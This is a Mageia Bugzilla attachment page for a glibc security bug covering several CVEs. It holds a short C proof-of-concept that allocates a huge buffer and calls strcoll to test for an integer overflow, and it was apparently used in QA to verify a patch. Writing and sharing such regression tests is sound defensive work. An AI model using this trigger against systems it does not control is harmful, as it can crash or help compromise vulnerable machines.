Mageia Bugzilla – Attachment 4443 Details for
Bug 11059
glibc new security issues CVE-2012-4412 CVE-2012-4424 CVE-2013-2207 CVE-2013-4237 CVE-2013-4332 CVE-2013-4458 CVE-2013-4788
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Requests
|
Help
|
Log In
[x]
|
New Account
|
Forgot Password
Source code from poc
malloctest.c (text/plain), 552 bytes, created by
Dave Hodgins
on 2013-10-22 22:04:52 CEST
(
hide
)
Description:
Source code from poc
Filename:
MIME Type:
Creator:
Dave Hodgins
Created:
2013-10-22 22:04:52 CEST
Size:
552 bytes
patch
obsolete
>/* from http://sourceware.org/bugzilla/show_bug.cgi?id=14547#c0 */ > >#include <locale.h> >#include <stdio.h> >#include <stdlib.h> >#include <string.h> > >#define SIZE 429496730 > >int >main (void) >{ > char *p = malloc (1 + SIZE); > if (setlocale (LC_COLLATE, "en_GB.UTF-8") == NULL) > { > puts ("setlocale failed, cannot test for overflow"); > return 0; > } > if (p == NULL) > { > puts ("malloc failed, cannot test for overflow"); > return 0; > } > memset (p, 'x', SIZE); > p[SIZE] = 0; > printf ("%d\n", strcoll (p, p)); > return 0; >} >
/* from http://sourceware.org/bugzilla/show_bug.cgi?id=14547#c0 */ #include <locale.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define SIZE 429496730 int main (void) { char *p = malloc (1 + SIZE); if (setlocale (LC_COLLATE, "en_GB.UTF-8") == NULL) { puts ("setlocale failed, cannot test for overflow"); return 0; } if (p == NULL) { puts ("malloc failed, cannot test for overflow"); return 0; } memset (p, 'x', SIZE); p[SIZE] = 0; printf ("%d\n", strcoll (p, p)); return 0; }
View Attachment As Raw
Actions:
View
Attachments on
bug 11059
: 4443